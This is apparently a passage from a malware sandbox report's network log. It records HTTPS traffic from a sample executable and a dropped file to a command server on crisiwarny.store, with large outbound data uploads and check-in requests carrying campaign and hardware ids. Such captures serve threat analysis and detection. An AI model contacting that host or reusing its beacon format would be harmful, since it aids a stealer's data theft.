2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 77 02 27 6b 59 fe 0c 65 98 ee 71 2a 55 2b c5 0f 92 da f8 a9 eb 18 13 27 ba 97 6d fc c0 e4 73 e0 78 38 55 f9 fe 79 04 d4 1b a2 34 14 be 1b d7 0f 78 92 63 62 fd 7f 2e 23 ec 2b 1f 9a b8 9c f3 dc e2 2f 03 b6 4f f2 d1 69 6c 39 31 d3 05 ba a7 b1 40 ec 8c 3a ac 94 47 48 0e f1 cd 3f eb 2c 28 10 20 4d 5c bf 31 7e 22 4e 80 36 5f a4 3e 15 7f 27 dc 6e 23 22 e0 58 d8 5e 86 d1 1f 42 b6 ce ce 07 51 c6 41 78 7d 50 dc 1e e4 3f 99 0b c1 cf a1 0a 29 fc 91 26 b8 60 3f 70 d0 ea 00 e4 2a 9e b7 20 52 7d e3 d2 a2 c0 8d 7f 5b 3e 0e b8 f4 8d f5 bd 4f 1b b1 1f 72 7a 8f 0e d5 ac db b8 4a 85 f2 ed cb db 4d 8a af 26 86 b8 4e a6 45 a1 e0 de fd 3e 22 46 98 50 64 da 89 a1 69 d9 18 90 e4 1f 4f cd 01 45 c1 8e 2e 6b 0e f5 1a f8 e9 80 a5 83 1f fa f4 c0 76 43 d9 dd b7 a7 46 07 2f ee ee f7 be Data Ascii: w'kYeqU+'msx8Uy4xcb.#+/Oil91@:GH?,( M\1~"N6_>'n#"X^BQAx}P?)&`?p R}[>OrzJM&NE>"FPdiOE.kvCF/
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 96 30 77 de ab 39 cd 12 48 f9 c8 91 3c 31 cc 07 4c 93 74 c8 40 ae 8f 95 9c d4 a5 a5 96 89 94 3a 89 4e 4c 8d 96 c2 bb 96 60 7c c0 70 0d d5 84 fb fd d3 78 5c e9 e8 e4 f4 74 74 ad fe 84 92 b3 0a d8 e9 18 01 11 e4 f6 e1 a9 96 81 44 15 25 c5 88 b8 5f 1f 4e 1c 93 8f 34 70 ea 34 c4 f9 1d 57 e1 f3 e3 e5 a9 75 b6 73 8f 1a cb 7e bd cb 20 f0 df 55 b3 9e 16 78 5d cc c3 a3 f9 79 c4 63 d1 fc 42 6b 4a 7d 4b 42 3b 1b e5 b4 5f 6f d4 3c 8a 23 c8 a1 84 f6 e0 4c 1e ea 2e 89 57 a8 bc 16 4c 6d be 13 5a b3 27 6f 52 ae 9f ff bb 7a d6 e4 95 d1 df 67 a3 af a6 87 ec e3 bb 1b 24 da 47 6d 32 7c d1 10 0d fb 8b ff 52 ac 99 0a e1 47 ff 64 76 af 3b 5d f1 7b 94 69 88 e8 cc 62 cd 8a 6d 91 15 5a 1f 8e 3d 36 04 75 47 6d 89 3c dd 91 af 92 ce 52 9e e0 a5 8b 64 48 bc 64 07 8b a6 8b 31 c7 37 67 Data Ascii: 0w9H<1Lt@:NL`\|px\ttD%_N4p4Wus~ Ux]ycBkJ}KB;_o<#L.WLmZ'oRzg$Gm2\|RGdv;]{ibmZ=6uGm<RdHd17g
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 05 e8 9c 4f ae e2 6e 6d e0 96 fb 5e 1d bb bd 81 92 c6 34 a3 97 b7 9e c5 52 c5 d8 65 37 77 d3 a3 ac 3f 3d db fb 09 0d 33 2a 97 5c 0e 6c bc e8 17 e8 c9 ac f8 3c 52 53 f1 f2 1f 16 93 9b 1f 7b ba 7a 6a e5 8f 13 93 da 7c 4e a8 6b ec e7 d6 6f aa af b1 bb cd 2b ce b5 4f fb 33 a9 79 7b 81 a3 70 11 c0 dc 3a 0d 1c 2f ec e0 d9 a9 d3 2b 5b 28 cc 72 1b 96 60 95 1e 68 e3 70 d4 f1 e1 36 5f d7 1f dd 8b b0 9a 90 9b 2c 90 06 b2 31 21 b7 bc e6 21 ba 5d a8 bd c1 07 75 fc 4c ef 1b 72 9b c9 d3 70 0b 2d e0 f0 f1 d7 06 e2 23 4c 81 87 fc ff 77 04 3a 92 39 0a 81 32 34 d4 64 00 ae 95 e5 22 22 4b 22 52 b3 14 05 2e 84 3c d5 e6 5b a3 8b ab 62 5f bd 52 1c d2 fa 01 08 7b 88 8e 98 67 58 e2 97 49 57 0f 6e 60 f1 13 c3 28 15 14 48 fc c8 09 b1 89 b0 49 0c 35 6c b2 2a 0d a2 8d cf 36 2e b8 1a Data Ascii: Onm^4Re7w?=3\l<RS{zj\|Nko+O3y{p:/+[(r`hp6_,1!!]uLrp-#Lw:924d""K"R.<[b_R{gXIWn`(HI5l6.
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 86 49 b9 c9 3e c3 7d 03 39 af 4a ca 3e f7 4f 13 e5 20 ca 52 98 d4 33 0e fa 7f 51 e1 32 7d 79 de 4b db 9e 46 98 e7 cb c8 d7 2e 80 a9 84 39 21 af e6 f7 98 b1 8c 44 53 7b e2 bf 91 08 34 35 54 6c 8f 34 76 1e e5 89 36 6f 47 99 3b 69 fc ba 8c 7f e9 b7 f5 1e 44 77 9c 0b 60 f5 21 48 2c 23 80 e9 9b 4e b7 59 33 b3 3b 4f ae 9e e0 5c 33 c0 e3 a7 74 83 bf 4a 06 62 79 30 c2 98 5e 85 71 34 23 aa a8 db 68 4e f6 83 35 a3 c9 18 1b 2e d4 28 6f e5 9e e9 94 34 3a 32 7e 67 66 a8 22 7e f3 a5 00 85 9f 73 67 34 18 5b 4f aa bd ce 64 46 fc 3d 48 ae 93 88 34 ae 43 b0 03 61 12 e5 a8 4b 44 5a 1f 9a 11 57 ae 9e 0e df e3 5b 7a ca a7 22 99 6c 69 9f 91 80 13 12 dc cf 28 d9 b3 4b 87 4b fa 2e 6b 7a e3 99 44 e4 61 3e 93 aa 1f 2b 4d 5a 37 57 33 5b b7 b8 c3 9a 74 30 42 e0 f5 80 da 78 d6 1b 2e Data Ascii: I>}9J>O R3Q2}yKF.9!DS{45Tl4v6oG;iDw`!H,#NY3;O\3tJby0^q4#hN5.(o4:2~gf"~sg4[OdF=H4CaKDZW[z"li(KK.kzDa>+MZ7W3[t0Bx.
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 69 8a 99 e1 c0 c4 d1 98 5d d5 7f df ef c6 90 92 d4 4c e5 b8 1f 89 ba c1 a4 38 d2 b7 87 51 cf 0f cb 8a 02 c7 26 b9 a1 48 9d af df 96 2c d3 2b 3a 9a e2 39 57 84 c5 7f fc cd ed 70 c5 de 81 83 fc a1 13 98 50 7f d4 8f 05 5c 6c 56 9d 09 cd 3c 6c 22 44 82 33 ff 24 b0 d2 8b 95 a0 72 6d 1c 2c fb a6 57 14 66 ef 96 81 0d 31 f0 4b 2e 76 7d 94 e8 60 db ab b3 c4 ea fa 6e 09 db 0b 2f bc 78 fa bf c3 34 d7 33 b0 77 b8 a4 45 e8 af 10 3b 51 55 26 92 0a db 8c d5 8a b2 ec d6 d5 6a 9f a1 0c 75 3f cc 7b 7d 70 7f f6 99 0b e8 9b 6b 8c 33 3b 33 45 ae 42 37 a9 ea 9a cb e8 59 f4 72 ce 8c cd 51 32 9d b5 a4 4a 1b 03 e0 2d 9a 31 cf ea 23 a5 89 00 c2 1e b1 28 25 6e 76 c3 f6 da e0 bf eb 92 23 35 cc ce a9 9f 09 72 c7 9d e1 7d a0 41 65 67 bf c3 6c 0b 84 01 87 a4 18 f2 0d 30 35 ec 12 17 78 Data Ascii: i]L8Q&H,+:9WpP\lV<l"D3$rm,Wf1K.v}`n/x43wE;QU&ju?{}pk3;3EB7YrQ2J-1#(%nv#5r}Aegl05x
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: ca 52 a8 25 8f 92 c7 b0 cd ff bb 76 ec 7f 8e 5a 9d de 3e ff ed 46 35 29 5d 59 f1 4f bb 88 23 c0 b0 29 1c c2 8e e2 a2 26 47 7c b4 9e 7f 1c 8b 77 b9 13 f8 ed c8 a3 a5 ad 4c 2f e3 7d 22 1b 5e 8e 02 0a d5 3d 2f bd 31 45 c3 97 71 78 c4 f7 df e9 d8 b1 e2 05 73 12 ff d7 cd 76 44 1d 90 76 aa 32 ba 99 6d 9e ea fb c4 c1 95 7f 52 77 c4 3a f3 20 8a 04 61 42 69 8f 3d 72 6c be 16 02 b3 cf 42 21 a2 5c 96 32 e4 28 dc 7b 92 a3 75 2e 8d 7b af 07 1d d3 87 77 b9 48 0c e4 bd 1f 69 d1 b6 a9 59 2b 9a e5 21 57 b2 a6 99 39 42 9d a2 e1 2e 92 c5 11 d5 47 80 c5 68 a6 06 ea 3b b6 f7 2f 6d b8 a2 e1 2a 0e 52 6b c0 c6 5e 8d 2c 87 ac 1d ed 25 00 4f 8d 13 44 1c 0a c1 b3 8a 9d b3 b3 44 26 59 87 07 bf 5f a1 54 ee ba ad c4 1c 99 60 59 8a 65 61 c3 7e fe 6a f5 ff 5d e0 cb 3c cc 2c 29 3e 26 bc Data Ascii: R%vZ>F5)]YO#)&G\|wL/}"^=/1EqxsvDv2mRw: aBi=rlB!\2({u.{wHiY+!W9B.Gh;/m*Rk^,%ODD&Y_T`Yea~j]<,)>&
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: ca d9 49 e4 a3 a5 cd 15 bd ad 4f b6 6a df fc b2 20 a4 24 c8 58 b1 8d 78 74 70 38 7f d1 c0 a6 37 bb b8 a3 1d dd f6 c7 50 30 08 3c 82 32 1c f6 96 5e 2a 96 4b 19 71 39 b5 29 8d f0 5c 76 ce 34 6e 42 9f 42 84 46 62 bd 90 ea d4 d5 ec d4 5d 6f 30 c0 e5 fc ba 1c 2b de 19 2f 1f fc dd 17 d6 c6 17 27 7d f3 1d ca bf 36 95 c1 d2 db b1 97 45 64 34 a1 9b 64 15 11 4c c5 5e 83 84 8d 2a 0e e1 5e 8e e9 fe fe 91 28 8a c2 e8 ad 55 72 e5 71 8e 5e 7d 35 37 e5 1f d0 a3 08 69 18 1d d3 5a a9 5e f6 b0 b6 c4 89 89 0c ab 4f 09 e1 dc 3e fe e4 02 ab d2 c1 a9 23 b9 47 42 93 8f 9c 3c ff ef b4 19 8b b4 2e ba c3 8e 28 f9 c6 16 db 36 2b 17 b5 d2 73 1a ca c8 f6 49 dc 79 71 69 da 70 f4 93 1d f4 99 e7 09 7c 16 0b e6 85 fb d2 cf 01 ad 85 03 c4 12 04 e2 28 ef a6 6c ff 95 b4 01 2c 20 87 43 e7 f8 Data Ascii: IOj $Xxtp87P0<2^Kq9)\v4nBBFb]o0+/'}6Ed4dL^^(Urq^}57iZ^O>#GB<.(6+sIyqip\|(l, C
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: 43 7c 49 76 36 4d 07 47 36 89 ed ff ff 4f 4c 38 03 38 6d 47 3f 20 8b 3b 87 da 65 88 ea d0 8f fc f1 ce 77 eb b2 b6 fc 44 b5 39 41 53 00 48 60 a5 52 dd f3 d4 08 0b 7a 7a 46 e8 a3 77 1b f4 87 4e 0c f8 a6 3f 69 ed fe fc 30 df 4c 90 77 6b de fe 93 11 f5 7f b7 c4 04 41 88 cf e2 22 1a 68 e3 af e0 c0 5b 74 a1 00 6a 98 4c 96 fc 27 38 4d db 27 71 f3 58 8d a5 31 bf af 0e 82 01 03 4e 90 73 64 a9 bd 28 7a 80 43 a1 d2 30 57 f2 70 bf d4 88 6b 3c 76 44 95 2e 80 d1 66 79 46 53 83 01 7e fd 31 6b 6c 05 f0 a9 98 0f 1e 17 79 b3 15 b7 6f da 0a cd 6b e7 c3 67 e6 4c d5 9c 38 b5 f9 ac 22 d5 98 57 70 4c fc 1e 04 1b 75 eb af 5f 71 90 40 5d 4f 98 80 c0 0d 02 ae 01 57 af 1c 15 b2 9b ca 0f 20 1c b4 42 dc 1b ba 93 6b d7 9a 33 4b 76 b1 31 75 1a c1 5e b6 c4 7b 60 5e a3 93 08 49 07 6b 8c Data Ascii: C\|Iv6MG6OL88mG? ;ewD9ASH`RzzFwN?i0LwkA"h[tjL'8M'qX1Nsd(zC0Wpk<vD.fyFS~1klyokgL8"WpLu_q@]OW Bk3Kv1u^{`^Ik
2024-10-26 03:54:13 UTC	15331	OUT	Data Raw: e2 2d 2c 9e 69 29 5c 49 16 21 ed 5a bf 69 a4 bd e6 a0 9e c9 17 e9 3c 72 32 82 fe f2 a6 e4 84 a9 e5 a7 68 fe 0d 3e 1f 02 ba f6 3a 9a 70 86 ff 9a a4 a0 e3 bc 3e 4d e0 ab fd ff bd f4 c6 3a 4e ef 64 26 c4 c7 24 96 ed 34 e4 65 de 55 f3 12 44 bc 31 8b 1e 6b 4c 04 0c bb a3 20 ff f0 8c 0a 94 ff cb 8c e9 ee 30 7c f1 ea 17 d1 ca 9d 37 8b d9 1a 08 88 fc e2 9a 7a da 9b 75 35 3f 9c 91 90 bf 54 33 e1 32 05 4f d4 36 91 2a d0 ea 02 96 ad 3b 42 8f c2 30 4c 0d 8a 51 2b 34 c5 79 bb 5f 5f 2e 52 49 99 00 b0 93 a3 77 9c bf 31 e4 3b 3b d0 d3 43 fa 80 eb fc 81 d1 9a f0 9e db 02 8e 41 0b af e6 ed 55 88 2d f4 2c 8f c1 4a b9 c1 92 bb 2e f9 62 0b 03 61 52 91 de cd ca 1d 63 4b c5 da f4 28 6a dd ac 47 5e 08 c2 bd 80 b1 3f d7 c7 5e 11 06 21 de 73 b3 f2 70 98 1f f4 5a 33 69 e2 c3 9e 14 Data Ascii: -,i)\I!Zi<r2h>:p>M:Nd&$4eUD1kL 0\|7zu5?T32O6*;B0LQ+4y__.RIw1;;CAU-,J.baRcK(jG^?^!spZ3i
2024-10-26 03:54:19 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ih8aqctcojp6jpj29ghoe7l84c; expires=Tue, 18 Feb 2025 21:40:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cgg%2BbQaus0eBcYYqQvmWJcPZt8KAaHlUwZCKqXRaneIgcJ%2BaTyTf8jZhYtghg5xRZjD1vqiSbjRc6OFkp25xjorwR5IPC6gBT%2BMuQJvkc0Xvfi6lOUYld0SjZqeTsLivuDEm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8780f839254602-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1118&sent=210&recv=590&lost=0&retrans=0&sent_bytes=2838&recv_bytes=551920&delivery_rate=2540350&cwnd=244&unsent_bytes=0&cid=2db3910adff77991&ts=6193&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49740	104.21.95.91	443	7488	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:54:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 03:54:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=A24AF50135A1A1224D46A83D1FF0DA84
2024-10-26 03:54:21 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:54:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2df37t48mmn8c6c9m5d1f7pe4t; expires=Tue, 18 Feb 2025 21:40:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F3mi8to%2BF2vpl%2BvZZXCtx8WFBPMy%2BB%2F0FDVP6JIDcpd6YXaxDU2%2Fkjrem1WOIGbDYiQdvIVnAqan6t31G%2BZm5ND%2BBuuTWG5e9rjcpvzksOi4Ai68TcZ%2FCaONOlvwbURMcbWd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87812309362cd6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1415&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=2154761&cwnd=251&unsent_bytes=0&cid=e6c2e0ab64682ea8&ts=1157&x=0"
2024-10-26 03:54:21 UTC	299	IN	Data Raw: 31 32 34 0d 0a 53 43 61 52 49 75 49 6f 51 59 6a 57 63 34 53 79 4b 32 57 59 78 71 43 46 2b 32 41 47 6c 75 54 32 36 33 41 4c 4c 63 53 38 74 5a 45 54 58 62 4e 58 77 42 4a 6a 34 4b 49 48 39 49 68 33 53 73 54 70 6b 62 33 4f 54 6a 53 6e 30 64 6a 61 51 54 67 44 39 59 72 70 76 69 56 50 2f 30 65 2b 42 7a 50 70 75 42 66 72 33 77 55 41 34 4b 4f 43 71 64 6b 47 63 72 54 65 78 73 64 53 62 67 2f 2b 6a 4d 69 39 4d 77 54 6b 41 4e 67 4b 4b 66 79 69 41 37 37 75 42 44 6d 33 39 35 69 77 31 56 49 33 6f 38 72 48 32 6b 4d 6c 48 50 4c 67 6d 75 49 38 51 2f 42 50 76 67 63 7a 36 62 67 58 36 39 38 46 41 4f 43 6a 67 71 6e 5a 42 6e 4b 30 33 73 62 48 55 6d 34 50 2f 6f 7a 49 76 54 4d 45 35 41 44 59 43 69 6e 38 6f 67 4f 2b 37 67 51 35 74 2f 65 59 73 4e 56 53 4e 36 50 4b 78 39 70 44 4a 52 Data Ascii: 124SCaRIuIoQYjWc4SyK2WYxqCF+2AGluT263ALLcS8tZETXbNXwBJj4KIH9Ih3SsTpkb3OTjSn0djaQTgD9YrpviVP/0e+BzPpuBfr3wUA4KOCqdkGcrTexsdSbg/+jMi9MwTkANgKKfyiA77uBDm395iw1VI3o8rH2kMlHPLgmuI8Q/BPvgcz6bgX698FAOCjgqnZBnK03sbHUm4P/ozIvTME5ADYCin8ogO+7gQ5t/eYsNVSN6PKx9pDJR
2024-10-26 03:54:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49916	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:30 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 03:55:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 03:55:30 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n1lmnihaiq6sf6mpdbm32alk4f; expires=Tue, 18 Feb 2025 21:42:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4eAwoyh%2BHwiikDEqsXt1vxsMWQQjgClrgh7JtObhApn8mM2JyhIzXaNSZYsneLhTO4bg%2F5UGsUehcDMcCAtgjwZIanZzxlc841FxNJXRfYv%2B6biXzka7zyi%2BfFDwSZvxh2ti"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8782da7d8ce54e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1018&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=2592658&cwnd=251&unsent_bytes=0&cid=c4a7e01598d33364&ts=556&x=0"
2024-10-26 03:55:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 03:55:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49927	104.21.95.91	443	1420	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:32 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 03:55:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 03:55:32 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t73h4es1l5l1crus8mp7t2l02e; expires=Tue, 18 Feb 2025 21:42:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tTPalnlxGB84Ny08zywwGm26EApI2ZbqCBsOVID4E%2Fdc8Y2vxDOYF%2B%2BUk%2FHj6MJBLw1%2BAntRmTnG0XxQ%2F28qsYGBjVVQjA3ooOlvnjPUdrgnf6mg9loEE5dRhrFK45nkUDXJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8782e5ee81040d-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=115925&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=24977&cwnd=32&unsent_bytes=0&cid=f51800ae03c0c239&ts=423&x=0"
2024-10-26 03:55:32 UTC	357	IN	Data Raw: 31 64 39 31 0d 0a 56 6a 77 77 4f 32 52 6f 37 30 38 53 68 2f 6b 7a 6e 71 67 66 54 66 74 79 46 6a 6c 30 6b 33 62 50 44 53 65 44 76 6d 67 52 76 43 4d 74 48 6b 59 5a 58 6c 7a 44 62 57 48 69 32 77 6e 71 32 6d 6f 6f 31 31 42 33 58 56 61 70 45 4b 35 68 56 4f 61 53 53 6d 66 52 41 57 78 61 55 56 63 58 44 63 4e 74 64 2f 2f 62 43 63 58 54 50 53 69 56 55 43 77 62 45 66 6b 55 72 6d 46 46 34 74 55 48 59 64 42 41 50 6c 42 58 55 77 45 4c 69 79 35 2b 36 70 78 57 2b 38 6c 31 49 35 49 66 66 6c 52 57 76 31 53 71 64 77 57 35 6e 43 56 30 79 45 49 62 58 55 4e 51 52 68 58 44 4e 44 44 69 6c 78 47 6b 69 6e 34 6f 6d 52 35 77 58 52 2f 37 48 71 64 70 52 4f 66 55 47 48 6a 61 53 7a 35 65 56 46 49 4c 41 70 38 6a 64 4f 32 58 55 50 48 4a 50 57 48 5a 46 32 77 62 54 72 46 48 6e 32 78 55 38 Data Ascii: 1d91VjwwO2Ro708Sh/kznqgfTftyFjl0k3bPDSeDvmgRvCMtHkYZXlzDbWHi2wnq2moo11B3XVapEK5hVOaSSmfRAWxaUVcXDcNtd//bCcXTPSiVUCwbEfkUrmFF4tUHYdBAPlBXUwELiy5+6pxW+8l1I5IfflRWv1SqdwW5nCV0yEIbXUNQRhXDNDDilxGkin4omR5wXR/7HqdpROfUGHjaSz5eVFILAp8jdO2XUPHJPWHZF2wbTrFHn2xU8
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 2f 65 4f 36 51 56 4f 37 42 64 43 4b 55 45 48 6c 52 47 66 49 55 71 6d 56 50 37 74 59 4f 66 74 4e 48 4e 46 34 53 46 30 59 4e 6c 57 30 6f 70 62 68 55 37 4d 31 78 4f 64 73 71 4e 45 52 59 36 46 53 71 59 77 57 35 6e 41 4a 32 33 55 49 2f 55 56 46 52 44 52 69 4e 50 33 62 6f 6e 6b 50 36 7a 33 4d 6c 6d 67 4a 2b 56 52 44 79 48 61 5a 6d 51 4f 62 59 53 6a 32 65 52 69 77 65 43 68 6b 6e 42 34 59 68 65 76 4b 62 45 65 4f 45 5a 47 2b 65 48 44 51 44 56 76 55 56 71 57 35 42 37 39 49 4f 66 39 68 50 4f 56 46 55 55 77 59 4e 68 79 56 34 35 4a 5a 61 38 38 70 34 49 70 30 57 65 46 6f 54 73 56 72 74 61 46 32 68 68 45 70 64 32 55 49 6d 48 47 64 61 43 41 53 4b 4f 7a 44 36 31 55 69 38 7a 58 46 76 77 56 42 36 58 68 6e 6a 46 62 39 71 53 2f 50 51 44 33 58 54 51 6a 70 65 56 31 34 4c 42 49 Data Ascii: /eO6QVO7BdCKUEHlRGfIUqmVP7tYOftNHNF4SF0YNlW0opbhU7M1xOdsqNERY6FSqYwW5nAJ23UI/UVFRDRiNP3bonkP6z3MlmgJ+VRDyHaZmQObYSj2eRiweChknB4YhevKbEeOEZG+eHDQDVvUVqW5B79IOf9hPOVFUUwYNhyV45JZa88p4Ip0WeFoTsVrtaF2hhEpd2UImHGdaCASKOzD61Ui8zXFvwVB6XhnjFb9qS/PQD3XTQjpeV14LBI
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 31 55 69 38 7a 58 46 76 77 56 42 34 55 68 62 36 48 71 6c 76 51 75 7a 5a 43 58 54 64 54 44 4e 55 58 46 34 43 42 6f 51 67 64 75 57 63 56 66 6e 59 65 43 61 56 48 44 51 56 56 76 59 4d 37 54 63 46 7a 74 73 63 63 50 46 43 4a 56 63 53 52 6b 67 54 7a 53 70 38 70 63 4d 52 2b 38 39 31 4a 4a 38 59 64 45 6b 54 2f 78 2b 73 5a 55 50 67 30 51 5a 31 33 6b 41 30 57 46 35 5a 41 51 32 66 50 33 58 6a 69 56 75 38 68 44 30 6f 67 56 41 73 47 79 44 68 41 37 78 35 42 39 54 66 42 48 33 5a 56 33 52 42 48 45 42 47 44 59 46 74 4b 4b 57 51 55 66 44 4e 64 53 6d 64 47 48 74 55 48 2b 4d 56 6f 57 46 58 35 74 77 44 66 64 46 4e 50 56 4e 56 56 41 30 41 67 43 6c 33 35 4e 73 66 76 4d 31 6c 62 38 46 51 51 6b 73 62 2f 54 71 6d 59 30 79 68 77 30 52 71 6e 6b 59 34 48 67 6f 5a 41 67 61 46 4a 33 2f Data Ascii: 1Ui8zXFvwVB4Uhb6HqlvQuzZCXTdTDNUXF4CBoQgduWcVfnYeCaVHDQVVvYM7TcFztsccPFCJVcSRkgTzSp8pcMR+891JJ8YdEkT/x+sZUPg0QZ13kA0WF5ZAQ2fP3XjiVu8hD0ogVAsGyDhA7x5B9TfBH3ZV3RBHEBGDYFtKKWQUfDNdSmdGHtUH+MVoWFX5twDfdFNPVNVVA0AgCl35NsfvM1lb8FQQksb/TqmY0yhw0RqnkY4HgoZAgaFJ3/
2024-10-26 03:55:32 UTC	1369	IN	Data Raw: 4d 31 35 4b 5a 5a 51 4f 68 73 52 36 56 54 31 4c 32 72 47 36 55 68 53 35 41 45 72 45 45 73 5a 41 51 62 4e 64 54 44 70 6d 46 33 30 78 58 73 6d 6c 52 70 39 55 42 72 36 45 4b 46 6d 51 4f 66 64 44 33 62 66 52 54 68 55 56 46 6f 46 42 59 49 69 65 4b 58 56 45 66 76 53 50 58 66 5a 4e 57 4e 51 47 50 64 55 73 69 46 63 6f 64 73 47 4d 34 59 42 4f 46 64 55 58 77 4d 47 6a 43 74 34 34 4a 4e 56 2f 63 78 37 4c 4a 59 55 63 56 6f 5a 39 52 69 6a 5a 55 54 67 30 41 46 38 31 55 52 30 45 42 4a 65 48 6b 72 56 62 55 48 6d 6a 55 62 73 78 6a 30 77 31 77 6b 30 58 42 71 78 54 4f 31 75 56 2b 76 57 42 48 62 52 52 44 64 52 56 56 51 41 42 6f 63 6b 65 4f 4f 55 57 4f 37 4a 63 53 47 65 48 6e 68 56 47 2f 73 58 6f 43 38 4c 6f 64 73 53 4d 34 59 42 47 46 6c 66 64 77 30 47 69 6d 31 76 71 34 49 52 Data Ascii: 